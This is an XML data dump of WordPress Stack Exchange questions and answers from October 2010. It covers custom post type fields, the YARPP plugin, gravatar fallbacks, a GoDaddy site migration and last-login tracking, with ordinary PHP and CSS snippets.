  <row Id="3361" PostTypeId="2" ParentId="3340" CreationDate="2010-10-27T20:49:04.730" Score="1" ViewCount="" Body="&lt;p&gt;You need to use get_posts(), have_posts(), and the_post() for the API functions to work.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-27T20:49:04.730" />
  <row Id="3362" PostTypeId="2" ParentId="2738" CreationDate="2010-10-27T20:53:10.620" Score="0" ViewCount="" Body="&lt;p&gt;Follow up question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done all of the steps posted above, but there are still a few problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;While the main page loads, none of the links work.  Yes, they were relative links, etc. and they are all pointing to the right place, but they give a 404 error every time.  For some reason, I CAN get to the admin page, and make changes there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the main page, I am getting an error message spit into the body that says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: call_user_func_array() [function.call-user-func-array]: First argument is expected to be a valid callback, 'wp_sidebarlogin_css' was given in D:\Hosting\5946482\html\wp-includes\plugin.php on line 395&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Potential Causes&lt;/strong&gt; (I'm grasping for straws here):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The permalinks are set up wrong.  I didn't see this post until I had already grabbed the database, so I didn't turn them off.  Yes, the original install was in a subfolder, and yes, the files I brought over included the .htaccess file.  I have tried deleting it, modifying it to (from my limited knowledge) suit the new site, etc. to no avail.  If this is the problem, is there a way to have wordpress regenerate it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Godaddy is a garbage host.  Yeah, I know, a given, but the client wants to stick with them if possible.  The database upload process is different, and where I don't have any experience with Gogaddy's version, I don't know if it is even done correctly.  At the same time though, if the main page and the admin page are loading, wouldn't that indicate that it's fine?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1403" LastEditorUserId="1403" LastEditorDisplayName="" LastEditDate="2010-10-27T20:59:43.017" LastActivityDate="2010-10-27T20:59:43.017" />
  <row Id="3363" PostTypeId="1" CreationDate="2010-10-27T21:06:15.337" Score="1" ViewCount="354" Body="&lt;p&gt;Does anybody knows how I can hack YARPP (Yet-Another-Related-Post-Plugin) to find related posts for custom post type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really can't find any better related post plugin than YARPP. But, unfortunately, it does not support custom post-type yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="1044" LastActivityDate="2010-10-28T02:07:37.333" Title="How to hack YARPP plugin to find related posts for custom post type?" Tags="&lt;custom-post-types&gt;&lt;plugins&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="3364" PostTypeId="2" ParentId="3363" CreationDate="2010-10-27T21:31:40.237" Score="2" ViewCount="" Body="&lt;p&gt;Be wary that the plugin makes extensive use of the options table for caching. This can bring large sites to a crawl.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-27T21:31:40.237" CommentCount="5" />
  <row Id="3365" PostTypeId="1" AcceptedAnswerId="3381" CreationDate="2010-10-27T21:49:06.453" Score="0" ViewCount="473" Body="&lt;p&gt;I had this working a couple of weeks ago and the only thing I can think is that WordPress has updated and broken the functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the tutorial here to add custom fields: &lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/rock-solid-wordpress-3-0-themes-using-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;http://net.tutsplus.com/tutorials/wordpress/rock-solid-wordpress-3-0-themes-using-custom-post-types/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was working fine (I entered about 50 custom posts all with custom fields) but when I go to edit it today any changes I make to the custom fields are not being saved, although other changes work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is a known bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Here is the code, added in functions.php to a brand new install (theme: twentyten)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'testimonials_register');&#xA;add_action(&quot;admin_init&quot;, &quot;admin_init&quot;);&#xA;add_action('save_post', 'save_testimonial');&#xA;&#xA;&#xA;&#xA;&#xA;function testimonials_register() {&#xA;    $args = array(&#xA;        'label' =&amp;gt; __('Testimonials'),&#xA;        'singular_label' =&amp;gt; __('Testimonial'),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'menu_position' =&amp;gt; 5,&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'supports' =&amp;gt; array('title', 'editor', 'thumbnail','custom-fields', 'revisions', 'excerpt', 'page-attributes')&#xA;    );&#xA;&#xA;    register_post_type( 'testimonials' , $args );&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;register_taxonomy( 'testimonial_project_type', array(&quot;testimonials&quot;) , array( 'hierarchical' =&amp;gt; true, 'label' =&amp;gt; 'Project Type', 'query_var' =&amp;gt; true, 'rewrite' =&amp;gt; true ) );&#xA;&#xA;&#xA;&#xA;function admin_init(){&#xA;    add_meta_box(&quot;testimonialInfo-meta&quot;, &quot;Testimonial Options&quot;, &quot;meta_options_testimonial&quot;, &quot;testimonials&quot;, &quot;advanced&quot;, &quot;high&quot;);&#xA;&#xA;}&#xA;&#xA;&#xA;&#xA;function meta_options_testimonial(){&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    $name = $custom[&quot;name&quot;][0];&#xA;    $position = $custom[&quot;position&quot;][0];&#xA;    $project_url = $custom[&quot;project_url&quot;][0];&#xA;    $website = $custom[&quot;website&quot;][0];&#xA;    ?&amp;gt;&#xA;  &amp;lt;label for=&quot;name&quot; style=&quot;width:90px;display:inline-block&quot;&amp;gt;Name:&amp;lt;/label&amp;gt; &amp;lt;input size=&quot;50&quot; name=&quot;name&quot; id=&quot;name&quot; value=&quot;&amp;lt;?php echo $name; ?&amp;gt;&quot; /&amp;gt;&amp;lt;br&amp;gt;&#xA;  &amp;lt;label for=&quot;position&quot; style=&quot;width:90px;display:inline-block&quot;&amp;gt;Position:&amp;lt;/label&amp;gt; &amp;lt;input size=&quot;50&quot; name=&quot;position&quot; id=&quot;position&quot; value=&quot;&amp;lt;?php echo $position; ?&amp;gt;&quot; /&amp;gt;&amp;lt;br&amp;gt;&#xA;  &amp;lt;label for=&quot;website&quot; style=&quot;width:90px;display:inline-block&quot;&amp;gt;Website Name:&amp;lt;/label&amp;gt; &amp;lt;input size=&quot;50&quot; name=&quot;website&quot; id=&quot;website&quot; value=&quot;&amp;lt;?php echo $website; ?&amp;gt;&quot; /&amp;gt;&amp;lt;br&amp;gt;&#xA;  &amp;lt;label for=&quot;project_url&quot; style=&quot;width:90px;display:inline-block&quot;&amp;gt;Project slug:&amp;lt;/label&amp;gt; &amp;lt;input size=&quot;50&quot; name=&quot;project_url&quot; id=&quot;project_url&quot; value=&quot;&amp;lt;?php echo $project_url; ?&amp;gt;&quot; /&amp;gt; &amp;lt;small&amp;gt;E.g. 'parker-harris'&amp;lt;/small&amp;gt;&amp;lt;br&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;    function save_testimonial(){&#xA;$custom_meta_fields = array( 'project_url','name','position','website');&#xA;foreach( $custom_meta_fields as $custom_meta_field ):&#xA;    if(isset($_POST[$custom_meta_field]) &amp;amp;&amp;amp; $_POST[$custom_meta_field] != &quot;&quot;):&#xA;        update_post_meta($post-&amp;gt;ID, $custom_meta_field, $_POST[$custom_meta_field]);&#xA;    endif;&#xA;endforeach;&#xA;&#xA;&#xA;    }&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;    add_filter(&quot;manage_edit-testimonials_columns&quot;, &quot;testimonials_edit_columns&quot;);  &#xA;    add_action(&quot;manage_posts_custom_column&quot;,  &quot;testimonials_custom_columns&quot;);  &#xA;&#xA;    function testimonials_edit_columns($columns){  &#xA;    $columns = array(  &#xA;        &quot;cb&quot; =&amp;gt; &quot;&amp;lt;input type=\&quot;checkbox\&quot; /&amp;gt;&quot;,  &#xA;        &quot;title&quot; =&amp;gt; &quot;Testimonial Title&quot;,  &#xA;        &quot;name&quot; =&amp;gt; &quot;Name&quot;,  &#xA;        &quot;description&quot; =&amp;gt; &quot;Excerpt&quot;,  &#xA;        &quot;project_url&quot; =&amp;gt; &quot;Project Slug&quot;&#xA;    );  &#xA;&#xA;    return $columns;  &#xA;   }  &#xA;&#xA;    function testimonials_custom_columns($column){  &#xA;    global $post;  &#xA;    switch ($column)  &#xA;    {  &#xA;        case &quot;name&quot;:  &#xA;            $custom = get_post_custom();  &#xA;            echo $custom[&quot;name&quot;][0].&quot;, &quot;.$custom[&quot;position&quot;][0].&quot;&amp;lt;br&amp;gt; &quot;.$custom[&quot;website&quot;][0];&#xA;            break;  &#xA;        case &quot;description&quot;:  &#xA;            the_excerpt(); &#xA;            break;  &#xA;        case &quot;project_url&quot;:  &#xA;            $custom = get_post_custom();  &#xA;            echo &quot;&amp;lt;a target='_blank' href='/portfolio/&quot;.$custom[&quot;project_url&quot;][0].&quot;'&amp;gt;&quot;.$custom[&quot;project_url&quot;][0].&quot;&amp;lt;/a&amp;gt;&quot;;&#xA;            break;  &#xA;    }  &#xA;    }  &#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;    // This shows testimonials in blog and feed.&#xA;&#xA;    add_filter( 'pre_get_posts', 'my_get_posts' );&#xA;&#xA;    function my_get_posts( $query ) {&#xA;&#xA;if ( is_home() &amp;amp;&amp;amp; false == $query-&amp;gt;query_vars['suppress_filters']  || is_feed() )&#xA;    $query-&amp;gt;set( 'post_type', array( 'post', 'testimonials') );&#xA;&#xA;return $query;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditorDisplayName="" LastEditDate="2010-10-28T08:23:35.037" LastActivityDate="2010-10-28T11:31:00.793" Title="Custom fields not saving in newest Wordpress 3.0.1" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="3366" PostTypeId="1" AcceptedAnswerId="3506" CreationDate="2010-10-27T22:09:17.863" Score="1" ViewCount="251" Body="&lt;p&gt;Is there a way to show no gravatar in comment list for the commenters that are not registered at gravatar.com? &#xA;As much as I saw, gravatar.com doesn't return a special code when no avatar is registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The temporary, not so elegant solution I applied for the moment is displaying a transparent 1x1px gif but I'd like to return no image if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried 3-4 gravatar plugins but none does this properly.&lt;/p&gt;&#xA;" OwnerUserId="967" LastActivityDate="2010-11-15T20:32:01.057" Title="How to display nothing (instead default) when no user gravatar is present?" Tags="&lt;comments&gt;&lt;template&gt;" AnswerCount="4" />
  <row Id="3367" PostTypeId="2" ParentId="3366" CreationDate="2010-10-27T23:50:30.063" Score="0" ViewCount="" Body="&lt;p&gt;I have modified a tiny bit of the &lt;a href=&quot;http://en.gravatar.com/site/implement/images/php/&quot; rel=&quot;nofollow&quot;&gt;official php example&lt;/a&gt; at gravatar.com&#xA;&lt;strong&gt;if $d='404'&lt;/strong&gt; the function returns a 404 instead of an image so I do a final check, if it returns an image then &lt;strong&gt;getimagesize()&lt;/strong&gt; before the end returns something and the function goes on printing the image&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_gravatar( $email, $s = 80, $d = '404', $r = 'g', $img = true, $atts = array() ) { //changed $d='404'&#xA;$url = 'http://www.gravatar.com/avatar/';&#xA;$url .= md5( strtolower( trim( $email ) ) );&#xA;$url .= &quot;?s=$s&amp;amp;d=$d&amp;amp;r=$r&quot;;&#xA;$curl=$url;&#xA;    if ( $img ) {&#xA;    $url = '&amp;lt;img class=&quot;paxvatar&quot; src=&quot;' . $url . '&quot;';&#xA;    foreach ( $atts as $key =&amp;gt; $val )&#xA;        $url .= ' ' . $key . '=&quot;' . $val . '&quot;';&#xA;    $url .= ' /&amp;gt;';&#xA;}&#xA;if (getimagesize($curl)) echo $url; //changed - added getimagesize(check)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It probably isn't the most elegant solution, but it's the only way I could get around it. &lt;/p&gt;&#xA;" OwnerUserId="967" LastActivityDate="2010-10-27T23:50:30.063" CommentCount="1" />
  <row Id="3368" PostTypeId="2" ParentId="3358" CreationDate="2010-10-28T01:59:23.740" Score="1" ViewCount="" Body="&lt;p&gt;It is a slightly modified version of WordPress Multi-site. They turn off/hide some functions to increase stability since they are also on the hook for support. This is not uncommon for people that are hosting a large WordPress Multi-Site install to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately many new features of WordPress are first seen on wordpress.com then get rolled into the next version of WordPress.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-10-28T01:59:23.740" />
  <row Id="3369" PostTypeId="2" ParentId="3363" CreationDate="2010-10-28T02:07:37.333" Score="0" ViewCount="" Body="&lt;p&gt;With a quick look at the plugin you'll need to change references to post_type == 'post' is changed to the name of your custom post type. They seemed to be in two files magic.php and includes.php&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-10-28T02:07:37.333" CommentCount="1" />
  <row Id="3370" PostTypeId="1" CreationDate="2010-10-28T03:10:13.590" Score="1" ViewCount="86" Body="&lt;p&gt;In a wordpress multisite - selfhosted environment:-&#xA;how to know which blog has highest number of visitors ?&#xA;how to know which blog has highest number of comments and posts ?&lt;/p&gt;&#xA;" OwnerUserId="1369" LastActivityDate="2010-10-28T14:05:19.393" Title="In multisite environment which is the most Popular blog?" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="3371" PostTypeId="2" ParentId="3358" CreationDate="2010-10-28T03:52:14.517" Score="2" ViewCount="" Body="&lt;p&gt;WordPress.com is running the same code that you can download for free at WordPress.org ... the biggest difference is that .com is run by a for-profit company and .org is maintained by a non-profit community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress.com, as a for-profit enterprise, has certain features disabled (for security purposes) and certain features limited so that users can buy in to &quot;premium&quot; packages.  Specifically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You cannot upload or install custom themes (custom code could damage the multi-site environment&lt;/li&gt;&#xA;&lt;li&gt;You cannot upload or install custom plug-ins (for the same reasons as above)&lt;/li&gt;&#xA;&lt;li&gt;You must pay extra to direct traffic from your own domain to your WordPress.com site (a self-hosted site can use any domain you want)&lt;/li&gt;&#xA;&lt;li&gt;You cannon have an ad-free website on WordPress.com without paying extra (ad revenue supports the site)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some bonus features you get from WordPress.com&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You'll &lt;em&gt;always&lt;/em&gt; be running the latest version of the software without the need to update&lt;/li&gt;&#xA;&lt;li&gt;Your site will be automatically backed up by WordPress.com's servers&lt;/li&gt;&#xA;&lt;li&gt;You can pay extra to use VideoPress for hosting your own videos (doing this yourself requires a separate server in addition to your custom website host)&lt;/li&gt;&#xA;&lt;li&gt;Akismet and stats are built-in to the site (though you can add these for free with your own site).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-28T03:52:14.517" />
  <row Id="3372" PostTypeId="1" AcceptedAnswerId="3519" CreationDate="2010-10-28T04:19:14.290" Score="2" ViewCount="360" Body="&lt;p&gt;I'm making a &lt;a href=&quot;http://namgivu.wordpress.com/2010/10/26/my-suggestions-for-visual-studio-2010/&quot; rel=&quot;nofollow&quot;&gt;list of suggestion here&lt;/a&gt;. I need to insert current date/time for each of my suggestions - they are added accumulatively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any idea on doing that, please share.&lt;/p&gt;&#xA;" OwnerUserId="992" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-10-28T07:09:45.113" LastActivityDate="2010-11-01T16:51:24.117" Title="How to insert current date/time in the content of a post?" Tags="&lt;posts&gt;&lt;wordpress.com&gt;&lt;date-time&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="3373" PostTypeId="1" AcceptedAnswerId="3376" CreationDate="2010-10-28T04:35:58.193" Score="1" ViewCount="407" Body="&lt;p&gt;I'm building a site where users log in to view content specific to them.  I would like to display the last date and time they logged in.  How would I get this information from wordpress?  If it doesn't exist, how could I add it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;Welcome Back!  Your last visit was on 10/25/2010 at 3:14pm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2010-10-28T06:37:58.913" Title="Last time a user logged in" Tags="&lt;3.0&gt;&lt;users&gt;&lt;login&gt;&lt;date-time&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="3374" PostTypeId="1" CreationDate="2010-10-28T05:08:42.243" Score="1" ViewCount="453" Body="&lt;p&gt;I'd like to be able to autopost from my wordpress site (private wordpress.org, not on wordpress.com) to multiple sites with one plugin/hack from within wordpress. I'd like my posts to be able to be auto-posted (linked to) on facebook, identi.ca, twitter, posterous, etc. without multiple plugins. I've looked everywhere for a good plugin and they all seem to be site specific (for example just a twitter plugin). I need a one-stop shop like posterous, but since i have my own site i don't want the links going to posterous when they could be coming back to my official site. is this at all possible as of yet? if not, someone should step up and code it. thanks!&lt;/p&gt;&#xA;" OwnerUserId="1405" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-10-28T06:17:54.087" LastActivityDate="2011-02-09T03:49:20.063" Title="Auto-post to multiple sites like Posterous?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;wordpress.org&gt;&lt;automate&gt;&lt;posts&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="0" />
  <row Id="3375" PostTypeId="2" ParentId="3357" CreationDate="2010-10-28T06:09:40.837" Score="1" ViewCount="" Body="&lt;p&gt;This seems to be normal, it also happens for categories. The &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/template.php#L245&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_terms_checklist()&lt;/code&gt;&lt;/a&gt;, which creates the checklist, has an argument &lt;code&gt;checked_ontop&lt;/code&gt;, enabled by default. The metabox &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/meta-boxes.php#L316&quot; rel=&quot;nofollow&quot;&gt;does not override this&lt;/a&gt;, so checked categories or custom terms always appear on top of the list. This does not affect their actual hierarchy, only how they are displayed there. It seems the remaining items of the hierarchy, that &quot;lost&quot; their parent, are added to the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not think there is a sensible way to override this, unless you want to duplicate the whole meta box code.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-28T06:09:40.837" CommentCount="1" />
  <row Id="3376" PostTypeId="2" ParentId="3373" CreationDate="2010-10-28T06:37:58.913" Score="4" ViewCount="" Body="&lt;p&gt;I don't see anything like it in the database, so you probably have to do this yourself. To save the last &lt;em&gt;login time&lt;/em&gt;, you can hook into &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/wp_login&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;wp_login&lt;/code&gt; action&lt;/a&gt;, and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_user_meta&quot; rel=&quot;nofollow&quot;&gt;save a user meta value&lt;/a&gt; (like &lt;code&gt;[myprefix]_lastlogintime&lt;/code&gt;). You first read this value, so you get the &lt;em&gt;previous&lt;/em&gt; login time, save this in the session, and then save the new login time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the regular admin pages you check whether this session variable is set. If it is, you display the welcome text and clear the session variable so you don't display it on every page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to save the &lt;em&gt;last page visit time&lt;/em&gt; you have to write to the database on every (admin) page view. This is possible, but I would not recommend it. You can also save something once on logout (&lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/wp_logout&quot; rel=&quot;nofollow&quot;&gt;action &lt;code&gt;wp_logout&lt;/code&gt;&lt;/a&gt;), but probably not everyone will remember to log out.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-28T06:37:58.913" />
  <row Id="3378" PostTypeId="1" AcceptedAnswerId="3385" CreationDate="2010-10-28T09:10:29.503" Score="1" ViewCount="128" Body="&lt;p&gt;I have 2 pages in my wordpress 3.0.1 site with 2 urls&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.co.uk/sub-page/child-of-sub-page/accommodation/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.co.uk/accommodation/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however any link in my site to www.mysite.co.uk/accommodation/ goes to www.mysite.co.uk/sub-page/child-of-sub-page/accommodation/ instead&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this a bug in wordpress 3.0.1? or is there a way round this?&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2010-10-28T12:55:37.553" Title="URL redirect problem" Tags="&lt;redirect&gt;&lt;urls&gt;" AnswerCount="2" />
  <row Id="3379" PostTypeId="1" CreationDate="2010-10-28T09:53:50.493" Score="0" ViewCount="88" Body="&lt;p&gt;I guess Wordpress.com is including my PC in stats too and so I am not getting accurate hit results. How to ignore my IP from its stats?&lt;/p&gt;&#xA;" OwnerUserId="1402" LastActivityDate="2010-10-28T10:33:44.917" Title="How to prevent Wordpress from including my IP in stats?" Tags="&lt;wordpress.com&gt;&lt;stats&gt;" AnswerCount="1" />
  <row Id="3380" PostTypeId="2" ParentId="3379" CreationDate="2010-10-28T10:33:44.917" Score="2" ViewCount="" Body="&lt;p&gt;If you're logged in to either the blog (if you're using wordpress.org) or your wordpress.com account your visits will not be counted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is not an answer to your question, but I believe it answers your concern.&lt;/p&gt;&#xA;" OwnerUserId="1406" LastActivityDate="2010-10-28T10:33:44.917" CommentCount="1" />
  <row Id="3381" PostTypeId="2" ParentId="3365" CreationDate="2010-10-28T11:31:00.793" Score="1" ViewCount="" Body="&lt;p&gt;I put your code in a plugin and had to change two things to get it working:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In &lt;code&gt;save_testimonial()&lt;/code&gt;, you use &lt;code&gt;$post&lt;/code&gt; but don't declare it as a global. So &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; will be empty, and &lt;code&gt;update_post_meta()&lt;/code&gt; does not know what to save. Add &lt;code&gt;global $post;&lt;/code&gt; at the beginning of the function.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;register_taxonomy()&lt;/code&gt; is not in your &lt;code&gt;init&lt;/code&gt; handler, and is probably called too early (if it is a plugin, maybe you were lucky when you did this in &lt;code&gt;functions.php&lt;/code&gt;). Move it to the &lt;code&gt;testimonals_register()&lt;/code&gt; function.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Did you have &lt;code&gt;WP_DEBUG&lt;/code&gt; set to &lt;code&gt;TRUE&lt;/code&gt; when you were debugging it? Then you should have gotten the warnings that lead me to this solution.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-28T11:31:00.793" CommentCount="1" />
  <row Id="3382" PostTypeId="2" ParentId="3378" CreationDate="2010-10-28T11:33:40.137" Score="0" ViewCount="" Body="&lt;p&gt;I believe pages cannot have the same slug, even if the full path is different. This is indeed a limitation in WordPress. I believe others active on this site, like Mike Schinkel, can tell you where the Trac ticket is.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-28T11:33:40.137" />
  <row Id="3384" PostTypeId="2" ParentId="3347" CreationDate="2010-10-28T12:38:36.747" Score="0" ViewCount="" Body="&lt;p&gt;I handle this issue with the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;WordPress MU Domain Mapping&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://img.skitch.com/20101028-cpmg6p3njy6m51173bh7c8hde5.jpg&quot; width=&quot;300&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run my WP3 Network in subdirectory mode, and just assign domain names via the plugin, including any alternate domains. It's worked well for me, thus far.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-10-28T12:38:36.747" />
  <row Id="3385" PostTypeId="2" ParentId="3378" CreationDate="2010-10-28T12:55:37.553" Score="1" ViewCount="" Body="&lt;p&gt;I'm not seeing this behavior in my test install, using the page hierarchy you have described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://img.skitch.com/20101028-kmdmrb11pyb5h281m9r8j74993.jpg&quot; width=&quot;300&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can access both the top-level accommodation page and the child page. Do you happen to have the &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;Redirection&lt;/a&gt; plugin installed?&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-10-28T12:55:37.553" />
  <row Id="3386" PostTypeId="2" ParentId="3355" CreationDate="2010-10-28T13:19:40.423" Score="1" ViewCount="" Body="&lt;p&gt;The callback for a meta box gets the current object (post, comment, link, ... depending on what you're editing) &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/template.php#L2864&quot; rel=&quot;nofollow&quot;&gt;passed as the first parameter&lt;/a&gt;. So in your meta box handler you can read this first argument and access it's &lt;code&gt;post_content&lt;/code&gt; to get the content.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-28T13:19:40.423" CommentCount="2" />
  <row Id="3387" PostTypeId="2" ParentId="3366" CreationDate="2010-10-28T13:55:36.213" Score="1" ViewCount="" Body="&lt;p&gt;If memory serves, gravatar does a 302 to the default if no gravatar is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, you could try using CSS. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;img[src=default_gravatar_url] { display: none; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;img[src=default_gravatar_url] { visibility: hidden; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(It won't work in all browsers.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could use jQuery. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('img[src=default_gravatar_url]').ready(function() {&#xA;  $(this).remove();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both options should be benign in terms of performance.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-28T13:55:36.213" CommentCount="3" />
  <row Id="3388" PostTypeId="2" ParentId="3370" CreationDate="2010-10-28T14:05:19.393" Score="1" ViewCount="" Body="&lt;p&gt;Google analytics can help you track down the blog visits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin may help:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/generalstats/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/generalstats/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a most comments plugin for release as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I can;t think of any plugin off the top of my head that specifically says this blog has the most posts - though the number of posts per blog is visible in the admin area (Sites menu)&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-10-28T14:05:19.393" CommentCount="1" />
  <row Id="3389" PostTypeId="2" ParentId="3374" CreationDate="2010-10-28T14:49:43.513" Score="1" ViewCount="" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://ping.fm/&quot; rel=&quot;nofollow&quot;&gt;ping.fm&lt;/a&gt; service with the plugin &lt;a href=&quot;https://wordpress.org/extend/plugins/shorten2ping/&quot; rel=&quot;nofollow&quot;&gt;Shorten2Ping&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-28T14:49:43.513" CommentCount="1" />
  <row Id="3390" PostTypeId="2" ParentId="2738" CreationDate="2010-10-28T15:08:11.203" Score="0" ViewCount="" Body="&lt;p&gt;I use BackupBuddy (http://pluginbuddy.com) for all my migrations. It's a premium plugin and it's not perfect but it's much better than anything else I've found.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-28T15:08:11.203" />
